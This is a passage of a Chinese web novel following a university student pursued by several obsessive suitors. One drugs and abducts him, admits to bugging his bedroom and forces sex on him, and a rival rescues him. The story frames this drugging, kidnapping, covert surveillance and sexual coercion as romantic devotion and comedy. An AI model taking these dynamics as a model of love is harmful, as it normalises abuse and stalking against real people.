醒来时,陈悯之发现自己在一间酒店的床上,周围的布置很豪华,应该是总统套房。 他一低头,身上换上了新的睡衣,还有一股沐浴露淡淡的清香。 “醒了?”身侧传来男人微哑的声音。 陈悯之一抬头,卫殊就坐在床边,带有些重量的视线牢牢裹在他身上,好像他睡着的时候,对方就用这样的眼神一直看着他似的。 “嗯。”陈悯之从喉咙里发出一声咕哝。 “你睡着的时候出了汗,到酒店我给你洗过澡了。”卫殊说。 陈悯之闻言,身体微微僵了僵。 作为恋人,卫殊给他洗澡原本是很常见的事情,之前他每次累到晕过去的时候,也都是卫殊帮他洗的,这原本没有什么不合适,陈悯之也没有到那种在自己男朋友面前还要害羞的地步。 只是,他现在却有些不自在似的,下意识抓住自己的睡衣领口,拢了拢,想要把自己的身体遮挡起来。 因为那上面都是陆承轩留下的痕迹,卫殊给他洗澡的时候,一定看得比他自己更清楚。 想到这里,陈悯之又羞愧地垂下头,不敢去看卫殊的眼睛。 卫殊却没有再表现出什么特别的反应,而是很寻常地问他:“饿了吗?先吃点东西。” 饭菜一直在旁边温着,就为了他醒的时候随时可以吃。 男人端起粥,舀了一勺轻轻吹了几口,小心翼翼地喂到他嘴边。 可陈悯之却没有像往常一样配合地张嘴。 他其实一直是个一根筋的人,想不明白的事情就一定要弄明白,然后才可以开始做之后的事情。 陈悯之攥着被角,咬着嘴唇问卫殊:“你为什么不对我生气?” 卫殊拿着勺子的手停在半空,好像忽然静止了一样。 良久,他叹了口气,放下手里的东西,转而把陈悯之揽入怀里。 空气中很安静,陈悯之能听见男人蓬勃有力的心跳声,顺着二人相贴的胸膛传过来。 男人低磁的声音,如同沉沉钟声般撞入他的脑海:“因为这不是你的错。” 陈悯之愣愣地抬眼看着他。 “是他们强迫你的,不是吗?”卫殊重复道,“你没有错。” “所以,不必觉得歉疚,也不要因为被路边的野狗咬了一口,就觉得自己是个糟糕的人,不值得被爱。” 卫殊像教一个年岁懵懂,对世界上的许多事都还不明白的小宝宝一样,直视着他的眼睛,一字一句道:“悯悯,你很好。” “你心地善良,面对弱者总愿意施以援手,很好。” “你乐观豁达,身处逆境时也从不自卑自厌,很好。” “你柔软宽容,即使对伤害过你的人,心中也不曾怀有一点怨恨。” “你还有很多很多,很好很好的地方,要是让我说,我一辈子也说不完。”卫殊紧紧握着他的肩膀,“我只想告诉你,你一点也不糟糕,你值得世界上最好的爱。” 陈悯之坐在床上,神色怔然。 他其实也并没有那么乐观豁达。 出生时被亲生父母丢弃,后来养父母又车祸去世,从小到大也没有什么朋友,到大学好不容易有了好朋友,结果个个都是觊觎他的变态陈悯之有时候也会很困惑地怀疑过,是不是自己太糟糕了,他的人生才会倒霉成这个样子。 但现在有人告诉他,不是,发生的一切都不是他的错,他很好,特别特别好。 一直困扰着他的迷雾仿佛一瞬间被风吹散,他感觉到自己从四肢到心脏都被爱充盈着,温温热热、满满当当的,感到从未有过的舒适与放松。 陈悯之忽然伸出手,扑进了男人怀里:“谢谢你,卫殊。” 谢谢你让我知道,原来我是一个这么好的人。 回应他的是男人更加用力的拥抱。 过了会儿,陈悯之又犹犹豫豫地抬起头:“可我还是跟陆承轩做过了诶,你真的不介意吗?” 被戴绿帽这种事,应该没有男人会不介意吧,连他自己都不能接受。 在陈悯之的认知里,爱情应该是很纯粹、容不得一点沙子的,恋爱中有一方出了轨,分手应当是必然的结果。 可卫殊仿佛知道他心里在想什么,叹了口气,握着他的手问:“悯悯,你还喜欢我吗?” 陈悯之没有犹豫地点点头:“喜欢。” “那就足够了。”卫殊说,“如果你是因为愧疚才想要和我分手,那么,没有必要。现在是,以后也是,无论发生什么情况,都是如此。” “我只有在一种情况下才会同意和你分手。”卫殊紧紧盯着他,“那就是当你亲口说,你不爱我了的时候。” * 接下来的几天,卫殊都把他带在身边,在面见合作方的时候也是如此。 男人会与他十指相扣,大大方方地介绍,说他是他的爱人。 陈悯之每次都会脸红,但心里却是甜的。 和卫殊把一切都说开后,他心中没有了枷锁,感到前所未有的轻松与愉快。陈悯之自己也没想到,经过这一遭,他不仅没有和卫殊分手,感情反倒好像比之前更好了。 可能这就是真金不怕火炼,真情不怕狗咬? 因为把他带在了身边,卫殊出差的一些事务就不必像之前一样,安排得很紧,男人把一些没那么重要的工作推后了,带着他在B市一边工作一边玩儿。 陈悯之就当出来旅游了一圈,每天都很开心。 但就是挺累人的。 因为男人对他的索求比之前更多了,之前一天喂一次就够,现在一天要喂三次,陈悯之的腰没有一天是不痛的。 不仅如此,卫殊不知从哪儿搞了一些奇怪的衣服和道具哄着他穿,什么兔耳朵、兔尾巴、还有各式各样的公主裙,一天换三套,换几套烂几套。 换做平时,这些东西陈悯之都压根不会答应的,尤其是那个什么要塞进去的毛绒兔尾巴,但因为陆承轩的事,他总觉得对卫殊心有亏欠,再过分的要求都红着脸答应了。 晚上,又一次精疲力尽的陈悯之趴在卫殊怀里,迷迷糊糊地问:“什么时候回去?我还要上课呢” 他这学期又已经缺了好几天的课了,陈悯之觉得自己这个大学真的是没有好好上过,太不应该了,他当初费了好大劲儿才考上的呢。 卫殊吻了吻他的眼睛:“明天就回,睡吧。” “唔。”困到眼皮子打架的陈悯之咕哝一声,在男人怀里睡着了。 卫殊漆黑眸子盯着少年的睡颜,在心中沉默地做了决定。 这次回去后,他就和陈悯之求婚。 虽然陈悯之目前还没到法定婚龄,但可以先把婚礼办了,结婚证等年龄一到就去领。 万一卫殊闭了闭眼睛。 小公主不知道自己的心有多软,可他却比谁都清楚。万一事情真的发展到他不愿看到的那一天,至少,只有他才是陈悯之名义上唯一的丈夫。 卫殊拥着少年,陷入了沉眠。 这几天陈悯之都睡得很好,可他却睡得并不安稳,甚至偶尔会突然醒来,确认过还在自己怀里,才能安心地继续睡下去。大概越是爱,便越是患得患失。 可今天,卫殊却睡得格外沉,但这种沉不是美梦一般的沉眠,而是意识半模糊半清醒、却仿佛被人压着,怎样都无法起身的一种昏沉。 一种危险的预感在卫殊脑子里疯狂地叫嚣,意识却怎么也无法打破身体的牢笼,直到清晨的阳光落入,那层枷锁才仿佛松开了。 卫殊撑着昏沉的脑袋起身,待看清周遭,脸色蓦地一变。 睡在他身侧的少年不见了。 留在房间里的,只有少年粉色的毛绒拖鞋、和地板上一根散发着烟雾的、快要燃烧殆尽的迷香。 第64章 第 64 章 “我之前是人,现在是贱…… 64 陈悯之是被脖颈处传来的痒意弄醒的。 他感到有一颗脑袋埋在他的脖颈处, 在亲他的锁骨,一边亲还一边咬,像条啃骨头的狗似的。 陈悯之意识还没有完全清醒, 闭着眼睛, 模模糊糊地叫了一句:“卫殊?” 男人亲吻他的动作停下了。 周遭的气温仿佛骤然下降了几度。 陈悯之觉得奇怪,他睁开眼, 对上一双森黑的眼睛。 男人死死盯着他,英俊的面容几近扭曲,仿佛从阴间爬出来的恶鬼:“你心里就只有那条贱狗是吗?” 陈悯之没有犹豫,“啪”地一巴掌扇了过去。 他不喜欢扇人,但经验告诉他,对付秦陌这种听不懂人话的疯子,这是让他那张臭嘴立刻闭上最有效的方法。 向来柔软的少年, 在自己的恋人被侮辱时, 也忍不住展现出了带刺的一面,他瞪着秦陌,生气地说:“你才是贱狗。” 秦陌冷笑一声:“是, 我就是贱狗。” 男人盯着他, 咬牙切齿道:“我就是贱得慌, 才会一次次像条狗一样跟在你后面,奢求你看我一眼。” “可你呢?连一个眼神都不肯给我, 陈悯之, 我的感情在你眼里就这么贱, 可以随意被丢弃, 随意被践踏?” 换做在从前,陈悯之面对这番话可能还会生出一点恻隐之心,觉得自己是不是太冷漠太过分了, 但在听了卫殊的话后,他已经不是从前那个什么错都只会往自己身上揽的陈悯之了。 卫殊说得对,错不在他。 故而,他现在只觉得莫名其妙:“又不是我让你跟在我后面的,我从一开始就拒绝过你了,是你自己要一直缠着我,一边缠着我还要一边骂自己贱,秦陌,你是不是有病?” 秦陌牙齿都快咬碎掉。 他想,是,他就是有病,他得了一种叫做“没有陈悯之的爱就会发疯、就会死掉”的病。 男人眼中浮现出浓烈的不甘:“你一开始也拒绝过卫殊,后来不也答应和他在一起了?为什么他可以,我就不行?” 陈悯之说:“他尊重我,会听我的话,不会强迫我做我不愿意的事,你能吗?” “你不能。”陈悯之睁着一双黑白分明的眼睛,“你从来都只顾你自己,把你的爱强加在我身上,我不接受,你就要发疯。” 空气安静了几秒钟。 陈悯之说完这一番话,像是觉得累了,不想再与男人争辩下去,抬腿想要下床,却被男人一把圈住了手腕。 “如果我说我能呢?” 陈悯之转过头。 秦陌双目直勾勾地盯着他,好像扭曲的蛇缠住了他的身体:“我也可以尊重你,我也可以当听你话的狗,可悯悯,你肯给我这个机会吗?” 陈悯之别开了脸。 那双眼睛里燃烧的爱.欲太过强烈,像滚烫的火,要将他的皮肤灼穿,他一时间竟有些不敢去看。 良久,他听到后方传来一声自嘲般的冷笑:“你不肯。” “明明都已经跟卫殊分手了,你却连给我个机会都不肯。” 原本还找不到什么话说的陈悯之,一听这话立刻反驳:“谁告诉你我跟卫殊分手了?” 秦陌:“我听说的。” 陈悯之:“听谁说的?” 秦陌没说话。 陈悯之:“是不是陆承轩和你说了什么?” 秦陌沉默一会儿,道:“不是,是我在你家卧室装了窃听器。” 陈悯之:“?!” 什么时候?他怎么不知道?! 等等,秦陌在他卧室里安装了窃听器,那岂不是意味着他每次和卫殊做的时候,秦陌都在背后听墙角?!甚至连陆承轩潜入他卧室那次秦陌也听到了! 想到那些连自己都觉得羞耻的声音,竟然全部被人听去了,陈悯之臊得脸颊像是有火在烧,一张粉白的脸颊变得通红。 这种事简直已经超过了他的心理承受极限,他再也受不了了,“啪”地一巴掌扇在秦陌脸上:“变态!” 秦陌一张脸被扇得偏过去,又不紧不慢地转回来,依旧是面不改色,好像做这种事,对他来说一点都不会感到心虚一样:“这就变态了?” 男人脸上爬起一个令人毛骨悚然的笑容:“还有更变态的,要试试看吗?” 陈悯之不敢置信地瞪大眼睛:“什” 他话还没说完,已经被男人扑倒在床上,滚烫的吻旋即落了下来。 男人一手扣住他的手腕,一手摁住他的腰,将他压制得动弹不得,陈悯之觉得自己好像成了一块儿盘子里的糕点,下一刻就要被人吞吃入腹。 现在他全身上下就只有脑袋能动,于是拼命地转动着脸,试图躲避男人的亲吻。 他挣扎着,秦陌又没有空余的手来捏住他的脸,只能胡乱地在他脸上啃了几口。 但亲了几口后,男人的动作忽然停下来,他看着一点也不配合的陈悯之,像是一条落败的狗一样,红着眼睛在少年跟前低下了头:“给我吃一口,求你。” 不待陈悯之回答,秦陌又低头舔了一口他的锁骨:“你可以坐我脸上,书上说,这样你会舒服,弄我嘴里也很方便。” 陈悯之惊恐地看向他,说不出话来,他觉得秦陌已经疯了。 秦陌盯着他,用一种研究学术似的冷静语气道:“你放心,我最近每天都有用香蕉和桃子练习,技术不会比卫殊差。” 听到这话,陈悯之在惊恐之中懵了两秒,秦陌在说什么?这跟香蕉和桃子有什么关系? 但不待他想明白,男人已经伸手开始扒他的睡衣。 陈悯之霎时吓得魂不附体,惊声喊道:“我跟卫殊没有分手!” 男人的动作停滞了。 秦陌抬起一双黑沉沉的眸子:“你们没有分手?” 陈悯之见这话起效了,忙接着说:“对,我们只是闹矛盾了而已,没有分手。” 但男人的反应却出乎他的意料。 秦陌唇角勾起一抹冷峭的弧度:“所以呢?” 陈悯之愣了下,讷讷道:“所以,你现在这种行为是当小三,是可耻的,而且之前你自己也说过,你不会下贱到当三的地步的。” 秦陌:“哦?可我现在的身份已经和之前不一样了。” 陈悯之不解地问:“什么身份?” 秦陌:“不是你刚刚赐给我的吗?我之前是人,现在是贱狗,人有羞耻心,但贱狗没有,所以人不能当三,但贱狗可以。” 他现在已经明白了一个道理,当三还是当四并不重要,只有吃到嘴里的才是真的。 比起当一个被饿死的人,他宁愿做一条能吃饱的狗。 陈悯之呆呆地躺在床上,整个人已经彻底呆成了一块石头,他怀疑秦陌疯了,不对,他确定秦陌是疯了,那个冷静理智、有着强烈自尊心的人格已经全然从男人身上消失,取而代之的,是一条不顾礼义廉耻的疯狗。 他望着眸子被染红的男人,声音里都吓出了哭腔,大脑却仿佛宕机了一般,只知道无意识地重复之前的话:“秦陌、秦陌你别这样,你说过你不当三的你说过的” 秦陌漆黑眸子锁住他:“我已经是了。” 陈悯之睁圆了眼睛:“你、你唔——” 他的话语淹没在男人的亲吻中。 * 漫长的一觉醒来,陈悯之发现自己并不在床上,而是在一辆宽敞的保姆车上。 他躺在秦陌怀里,脑袋枕在男人的臂弯中,身上还盖着一条柔软的毯子。 陈悯之撑着快要散架的身体坐起来,懵懵地问:“你要带我去哪里?” 秦陌视线落在他身上,吃饱喝足后的男人,周身仿佛笼罩上了一层柔和,至少,不再像昨天一样,像是一条失去理智的疯狗了。 男人淡淡道:“机场。” 陈悯之:“去机场干什么?” 昨天秦陌才把他从卫殊出差的B市带了回来,现在已经不需要再去机场了啊。 秦陌道:“出国领证。” 陈悯之迟钝的大脑还没反应过来:“领什么证?” 秦陌:“结婚证。” 陈悯之呆了两秒:“你疯了。” 他眼睫颤抖着:“我跟卫殊还没分手,我、我是有男朋友的人,不可能和你去领证。” 秦陌垂眼看他,那双眼睛里的神色很平静,却因为平静到了极致而更显得疯狂:“男朋友是男朋友,老公是老公,不冲突。” 毕竟男朋友可以有很多个,但老公只会有一个,秦陌想。 陈悯之快要崩溃了,他发觉他和秦陌完全讲不通道理,他从男人怀里跳下来,扑到车窗前去拉车门,像是不顾一切地想要从行驶中的车辆上跳下去。 没拉动,车门被锁了。 但男人看见他这种危险的举动,还是皱了皱眉,伸出手,像是抱不安分的小宝宝一样把他抱进怀里,牢牢地圈住了:“坐好。” 尽管没有什么用,但陈悯之还是很有骨气地挣扎道:“放开我!” 即使下不去车,他也不要这样继续坐在秦陌怀里。 可男人抱着他,由着他动了一会儿,忽然将头深深埋进他的颈侧,叹了口气。 他的声音很沙哑,像一头脆弱的、受伤了的野兽:“我只是,想要你的一点爱而已,一点点就足够。” 秦陌心底很清楚,少年看似落在他手里,像只落入捕食者掌中无法逃脱的小兔子,但柔软弱小的食草动物,实际上才是高高在上的掌控者。 一直以来,都是他卑贱地跪在陈悯之面前,说求求你,求你爱我。 他抱着少年,近乎低声下气地恳求:“好不好,悯悯?” 陈悯之垂着眼睫看他。 一点点爱,陆承轩也说想要他的一点点爱,他们都想要他的一点点爱,好像他们是一个个中了剧毒的人,要从他这里得到解药,得不到就会死掉一样。 爱让人成了傀儡,操纵傀儡的丝线始终落在被偏爱的那一方手中。 陈悯之在此时很突然地想,如果他给这些人一点点爱的话,他们是不是就会像古装剧里被操纵的傀儡一般,听他的话呢? 他并不想要操纵任何人,但此刻被罗网困住的少年模糊地感觉到,如果他终生都无法摆脱这些疯狗,那么这似乎是他能够让自己生活得舒服一点的唯一方式了。 至少,这样自主权是握在他手里的。 少年嘴唇微微张了张,似乎是想要回答,但就在这时,车辆忽然一个急刹。 秦陌皱了皱眉,放下挡板,问:“怎么了?” 司机磕磕巴巴道:“少爷,我们被包围了。” 秦陌看向窗外,这才发现他们不知何时行驶到了一条岔道上,前方横着一辆黑色轿车,拦住了他们的去路,与此同时,左、右和后方也都被黑色车辆堵住。 有人从最前方的车辆上下来,步履从容地走过来,风度翩翩地敲了敲他的车窗。 秦陌按下车窗,对上顾明珏一张温和微笑的脸:“秦先生,绑架这种犯法的事,您不会做第二次吧?” 秦陌盯着来人,目光像是恨不得把眼前的人给剐了:“顾明珏,你就这么喜欢插足别人的感情?” 顾明珏道:“秦先生说笑了,悯之是我的朋友,解救朋友这种事,怎么能叫插足呢。” 秦陌冷笑一声:“入戏太深可不是好事。” 顾明珏依旧微笑:“警方已经在来的路上了,秦先生如果不想再进一次看守所的话,还是先让我的朋友下车吧。” 秦陌最终还是放了人。 倒不是怕警察,也不是怕顾明珏,实在是对方人多势众,而他身边没带打手,根本打不过,而且最主要的是,顾明珏让人把他车胎扎了。 于是他只能停在原地,恨恨地看着陈悯之坐上对方的车,消失在尘烟里。 * 轿车内播放着舒缓的音乐,让人的神经不自觉地放松下来。 顾明珏递过来一杯热水,没有去问他发生了什么,只是温和道:“悯之累了吗?可以睡一会儿,我送你回家。” 陈悯之捧着热水,却没有喝。 他睡了很多觉,睡着的时候还被秦陌喂过水,现在不困也不渴。 少年垂眼看着被子里微微摇晃的水波,轻声说:“顾明珏,你是骗我的,对吧。” 他用的是陈述的语气。 顾明珏脸上神色未改:“嗯?” 陈悯之抬眼看他:“你其实,根本就没有把我当朋友。” 顾明珏笑了:“这世间的感情很复杂,朋友也分为很多种,我和悯之,只不过是特殊一点的那种朋友罢了。” 但已经掉过很多次坑的兔子,这次没有再落入猎人的陷阱:“再特殊的朋友,也不是可以在一起接吻、在一起睡觉的关系。” 顾明珏视线落在他身上,眸子微微眯了眯,像是那种狡猾的狼被识破诡计后,暴.露出的危险信号。 陈悯之本能地往后缩了缩。 可男人却渐渐靠过来,最终把他逼到角落,不动声色地将他包围起来,叹息道:“可是怎么办呢?我和悯之已经睡过了啊。” 陈悯之警惕道:“那又怎样?” 顾明珏:“我现在不是处.男,没有人会要我了。如果悯之不要我,我这辈子就只能孤独终老,度过凄惨的一生了。” 他轻轻笑了一声:“大家都是朋友,帮帮忙不过分吧?” 说得好像他是个不负责任的渣男。 陈悯之觉出有哪里不对,反应过来道:“明明是你睡的我!又不是我想睡你的!” “这不重要。”顾明珏温和道,“重要的是,悯之想要得到什么,就要付出等价的东西来交换。” 陈悯之有些困惑地眨了眨眼睛:“交换?” 交换什么?他有什么好给顾明珏交换的东西?而且他也不需要从顾明珏那里得到什么。 顾明珏像是一位良师,对着他迟钝懵懂的学生耐心解释道:“比如,想要考上名校,需要付出汗水来交换。想要获得某一件商品,需要付出金钱来交换,以物易物,这是世界运行的规则。”“ “但说到底,那些都不过是些不值一提的俗物罢了。世界上最珍贵的东西,一件是自由,一件是爱。” “悯之想要得到自由,就要用同样珍贵的爱来交换。” 男人不知何时靠得很近,呼吸错落在他的鼻间:“悯之放心,我不会像秦陌那样逼迫你,也不会像陆承轩那样对你阳奉阴违,更不会像卫殊那样,贪心地想要将你独占。””我其实很好掌控。”顾明珏语气温和,循循善诱,仿佛一头凶恶狡猾的狼,亲手教兔子怎样把缰绳套在自己的脖子上,好让可怜的兔子不要被狼吃得连骨头都不剩一样。 “悯之只要从给予别人的爱里,分一点给我,就足够将我牢牢拴住了。” 第65章 第 65 章 公主训狗。 65 陈悯之回到家时, 卫殊正如同一根木桩一般,呆立在客厅里。 还在机场的时候顾明珏就给他发了消息,说会从秦陌那里把陈悯之带回来, 让他在家等。 但他没想到顾明珏竟然没骗他。 少年一头黑发微微乱着, 面颊白净泛粉,依旧是那副小动物一般, 柔软可爱的模样,但那双眼睛里,已经有一些东西悄然发生了改变。 那一丝改变被卫殊捕捉到,像是一阵寒风从他的胸腔中刮过。 他直觉地、本能地感觉到,他似乎要失去小公主的一部分了。 这一认知让卫殊的心有如被刀刺中,他大步上前,将少年紧紧揽入了怀里。 “对不起, 悯悯。”男人的声音低沉沙哑, 带着难忍的痛意,“是我没保护好你。” 但每次被他拥住,都会回抱住他的少年, 这一次却没有动作。 陈悯之只是在他怀里, 轻声道:“卫殊, 我想一个人待一会儿。” 卫殊抱着人的身体一僵。 半晌,他缓缓松开了手。 陈悯之抬步朝卧室走去, 没走两步却被一只手拉住。 男人的力道很大, 像是攥着什么极容易流失的东西, 一双深褐色兽眸紧紧盯着他:“你会和我提分手吗?” 少年眼睫微微动了动, 摇摇头:“不会。” 卫殊放开了手。 他看着少年有些疲惫似的,慢慢走进卧室的背影,张了张唇想说什么, 喉咙却像是被堵住,一句话也说不出来了。 他才是这段关系中,糟糕的那一方。 既保护不了他的公主,也无法大方到对公主放手。 男人垂着头,像是一头落败的兽般,良久伫立在昏黄暮色中。 * 陈悯之把自己呈大字型摊开在床上,双目放空地望着天花板。 他有些迷茫地想着,自己是怎么走到今天这步的。 只是单纯地因为,他的运气比别人差那么一点点吗? 如果他在一开始没有去拉跳湖的顾明珏,那事情后来的发展会不一样吗? 或许会,但总体上,与他现在的处境也不会相差太多。 因为性格决定命运,因为他就是这样一个,心软的、愚笨的、怜悯心泛滥的圣父。 所以他会主动去和看上去很孤独的、被排挤的陆承轩做朋友,所以他会向摔到泥里的卫殊伸出援手,所以他会不假思索地去拉跳湖的顾明珏,所以他会对看上去冷漠不近人情的秦陌,也释放出温暖的关心与友爱。 一个个看似偶然的选择,导致了现在的结果。 但那些偶然实际上也是必然,因为陈悯之清楚地知道,即使再来一次,他还是会做出同样的选择。 那么,既然这都是他自己的选择,就没有什么好后悔的了。 既然他这辈子注定要和疯狗纠缠,至少,他要把主动权牢牢掌握在自己手中。 * 陈悯之发现,卫殊又开始当起了他的贴身保镖。 卫殊现在马上大四,该修的课程基本上都已经修完了,故而有很多空余的时间可以守在他身边。 上下学的接送自是不必说,现在连上课卫殊也要坐在他身边,特别是上那种他和秦陌都会去的专业课的时候。 男人仿佛一只全天24小时警戒,随时都防备着自己的配偶被抢走的雄兽。 陈悯之对此很无奈,但也没有再去阻止。 毕竟卫殊会这样,也都是因为他招惹的疯狗太多。 但无论卫殊再怎么防,他终究只是一个人,面对虎视眈眈的三条饿狗,总会有出现漏洞的时候。 更何况,捅破窗户纸后,那几个人现在是连演都不演了。 陈悯之经常头天晚上还在自己家里和卫殊一块儿睡着,第二天早上醒来时就发现自己在另一个人床上,然后被狗压着舔来舔去,黏糊糊的满脸都是口水。 要么就是在图书馆自习,去接水的时候,被突然冒出来的男人反锁上门,压在茶水间里亲。 最离谱的是有天下了晚课,他和卫殊在黑黢黢的小树林里接吻,结果亲着亲着,陈悯之就感觉后脖子湿漉漉的,像是有人后面舔他,可卫殊明明站在他前面,正在吻他的嘴唇。 黑暗中看不太清,但陈悯之还是凭借着以往练出来的技术,精准地一巴掌扇在了后面的人脸上。 然后凭借那人发出的一声愉悦的哼哼,判断出来着是陆承轩。 好不容易把陆承轩赶走了,陈悯之为了安抚吃醋的、仿佛在狂躁边缘的男朋友,不得不主动去吻男人的唇。 卫殊把他悬空抱了起来,用身体卡着,让他坐在自己结实有力的腰上,把他按在树上亲,他也很配合地没有拒绝。 然而亲了没多久,陈悯之又感到脚踝处传来一阵湿漉漉的凉意。 这种凉意是相对他温暖的皮肤而言的,因为被抱在树上的姿势,少年宽松的裤腿被扯上去一截,白皙干净的脚踝就露了出来。 于是就方便了一些坏狗的舌.头。 那条舌.头凉凉的,舔上来时让人感到一种类似蛇皮滑过的、湿润的冰凉,仿佛已经在凉飕飕的黑暗中晾了许久,馋得上面都是水。 陈悯之一脚踹了过去。 然后毫不意外地,听到了某位秦姓男子压抑的、爽到了的闷哼。 等好不容易再把秦陌赶走了,陈悯之和卫殊去地下停车场准备开车回家,却发现车胎不知什么时候被人扎爆了。 无奈,两人只好打车回家。 可等打的车到了,陈悯之刚一上车,车门就自动关闭落锁,把还没上车的卫殊锁在了外面。 前面的司机取下墨镜,转过头来,端着一张如玉君子的俊脸,笑意温柔地问:“悯之,最近芝芝又学会了前滚翻,要去我家看看吗?” 诸如此类,数不胜数。 总之,只有陈悯之想不到,没有他们做不到的。 这样过了快两周,陈悯之终于受不了了。 他觉得不能再这样下去,成天被几条狗抢来抢去,被亲几口舔几下倒是小事,最重要的是弄得他没办法好好学习,甚至缺了一些课,即将到来的英语四级考试也没能好好准备。 即使在自由散漫的大学,陈悯之也打算做一个好好学习天天向上的好学生,他不想好不容易考上的大学挂科没办法毕业。 俗话说,没有千日防贼的道理,与其等着贼找上门,不如主动出击。 正好租的房子要到期了,陈悯之在朋友圈发布了一则租房启事,要求是离学校近、宽敞干净、房间多、且主卧有独立卫浴。 他配的文字是麻烦朋友圈有合适房源的人推荐,但实际设置的是仅某三位可见。 不出所料,不到半天,就有压根不可能看到他朋友圈的租房中介来加他微信。 周末,中介先是带着他去看了好几个平平无奇、不是这里不符合要求,就是那里不符合要求、价格还奇高的房源,在陈悯之都说不满意后,才叹口气把他带到一个高档小区,神秘兮兮地说这是他一个熟人的房子,现在空置反正闲着也是闲着,给他内部价月租五百八。 陈悯之看着这套环境清幽、靠近学校、装修奢华、完美符合他所有要求的五百多平的大平层,心里明白中介的这位熟人不是姓顾就是姓秦或者陆。 中介看他不说话,以为他是不满意,连忙拉着他夸这套房子这里好那里好很多人都抢着要说再晚就被人租走了,最后甚至拉着陈悯之说只要租了这套房子他倒给他两万,就差跪在地上求陈悯之把它租下来了。 陈悯之最后当然签了合同。 这一切都是在卫殊不知情的情况下完成的,直到搬家前一天,他才告诉卫殊要换房子。 卫殊吻他:“只要你喜欢,住哪儿都行。” 只是搬家时,男人打量几眼这套房子,再一问价格,就浑身警戒地把他拉到了房子外面:“悯悯,你上当了。” 但陈悯之脸上毫无惊讶的神情,只是坚定地说:“我要住这里。” 做惯了上钩的鱼,这一次他要做放钩子的渔翁。 卫殊愣了半晌,仿佛明白了什么似的,缓缓地走上前,颓然地抱住了他:“好,我陪你。” 陈悯之搬完家的第三天,三条狗不约而同地闻着味儿来了。 三个男人站在他家门口,相貌衣着各异,相同的是手里都拉着一个大号行李箱。 陆承轩一个小狗依人扑到他怀里:“哎呀哥哥搬家啦怎么都不和我说一声,诶最近不知怎么的我家晚上突然闹鬼我好害怕哦呜呜呜都不敢一个人住,哥哥你家这么多房间借我住一间你不介意吧?” 秦陌语气淡淡地说:“最近天热,我家出现了很多蟑螂,我有洁癖住不了。都是室友,帮个忙不过分吧?” 顾明珏面带微笑,掏出怀里的猫:“悯之,小猫最近在家里很不安分,晚上总叫唤,我感觉是对你思念心切,就把它带来了,想着它和你一起住,以后你日日都能看见它,免得在我家来回跑麻烦。” 卫殊站在开门的陈悯之身后,一双手紧握成拳,骨头都快捏碎了,但看陈悯之没说话,也就生生忍下来没有动作。 陈悯之看着这三个人,答得出乎意料地爽快:“可以。” 陆承轩亮起星星眼:“真的?” 陈悯之:“嗯,但我有条件。” 秦陌:“你说。” 陈悯之:“你们既然要来住我的房子,就要遵守我的规则。” 顾明珏如水似的温柔目光微微一动,却没说话,只是含笑地望着少年。 陈悯之道:“第一,你们住进来后,不能影响我的作息和正常生活,尤其是在我上课和学习的时候,不许来打扰,也不能做任何会耽误我上课的事情。” 顾明珏:“这是自然。” 陈悯之:“第二,不可以在未经我允许的情况下,对我做一些奇怪的事情。” 陆承轩兴奋地舔了一口他的脸,眨着眼睛问:“哥哥,什么算奇怪的事情?” 陈悯之把他的狗嘴推开:“你现在做的就算。” 陆承轩失落道:“可是我小时候都是这样舔哥哥的” 陈悯之:“这里不接待未成年,你要是还小就出去。” 陆承轩立刻立正闭嘴了。 陈悯之:“第三,不可以打架斗殴,无论是在什么情况下。” 秦陌冷冷往后扫了一眼:“只要某个暴力狂不先动手,我想这里没有人会喜欢打架。” “啪——”话音未落,一巴掌就已经落在他脸上。 秦陌一怔,与红色巴掌印一同浮起来的是脸上的错愕。 虽然他并不介意陈悯之打他,甚至还有点喜欢,但他确实是没弄明白自己是哪里把陈悯之惹生气了。 然而下一刻,他就听少年睁着黑白分明的眼睛,一字一句,很认真的说:“第四,不许欺负卫殊。” 秦陌咬牙切齿:“欺负他?谁能有那么大本事。” 那个黑皮体育生就跟个肌肉哪吒一样,他们三个加起来都不一定能打得过。 陈悯之说:“口头欺负也是欺负。” 少年这幅样子,摆明了是护短。 秦陌牙都快咬碎了,却也只能把到嘴边的话咽回去,没办法,谁让人家有名分。 陈悯之:“第五,后面的我想到了再补充,现在,听明白了吗?” 陆承轩像条狗一样,条件反射地想伸舌.头舔一下主人来表示自己听明白了,但想起少年的话,最终只能舔了舔自己唇角快要流下来的口水:“嗯嗯知道了哥哥,我最听哥哥的话了。” 顾明珏温柔一笑,随之表态:“明白。” 陈悯之看向秦陌:“你呢?” 秦陌看着前面两条表完态都被放进去了,就自己还剩在外面,即使对某些入住规则有些不甘心,也只得点头:“明白了。” 自此,三个人全部进屋。 离陈悯之的主卧最近的一间次卧,自然是在昨天就被卫殊给占了,而顾明珏和陆承轩则分别占了次近的两间次卧,秦陌进来的最晚,轮到他时就没得选了,只剩下离陈悯之最远的一间主卧。 他提着行李箱进去了,收拾完出来时都还满脸黑线。 陆承轩坐在沙发上,笑嘻嘻地问:“哎呀,把最大最好的一间都让给你了,怎么还不满意啊?” 秦陌冷笑:“你喜欢,那你跟我换?” 陆承轩:“那哪能啊,哥哥最讨厌的人,当然要住得离哥哥最远咯。” 秦陌攥紧了拳头,指骨捏得咯咯作响,看上去是想把陆承轩叭叭个不停的嘴给打烂。 顾明珏不紧不慢地道:“秦先生,别忘了规矩。” 秦陌冷冷乜他一眼:“用不着你提醒。” 顾明珏微笑:“那样最好。” 他自然也没那么好心去提醒秦陌,事实上,他巴不得剩下几个人都触犯规则被赶出去,他一个人和陈悯之住最好。 但今天毕竟还是搬进来的第一天,他们现在暂且还是一条绳上的小三,顾明珏担心要是秦陌这个不知好歹的蠢狗惹了少年生气,会牵连他一起被赶出去,到时候就得不偿失了。 三个人在外面进行友好交流,暂时没有注意到剩下一个人去了哪里。 这让卫殊有了单独和陈悯之说话的机会。 锁上门的主卧里,男人把身形小了一号的少年困在身体与门板的夹角中,可明明困着人的是他,他却更像是那头困兽,声音近乎乞求:“那我呢?悯悯,我也需要遵守这些规则吗?” 如果他未经允许吻了小公主,他也要被赶出去吗? 久久听不到回应,卫殊从未觉得一颗星像是如此焦灼,仿佛悬在万丈高的钢丝上。 就在他以为,已经不会得到回答时,他听到少年说:“不用,你是例外。” 卫殊怔然。 但和狂喜一同涌来的,还有心底那一丝小小的、患得患失般的不敢相信。 他问:“为什么?” 陈悯之踮起脚,在他唇上轻轻吻了一下。 “因为,你是我唯一想要去爱的人。” 第66章 第 66 章 公主的奖励。 66 五个人合住的第一天, 尚且算得上是平静。 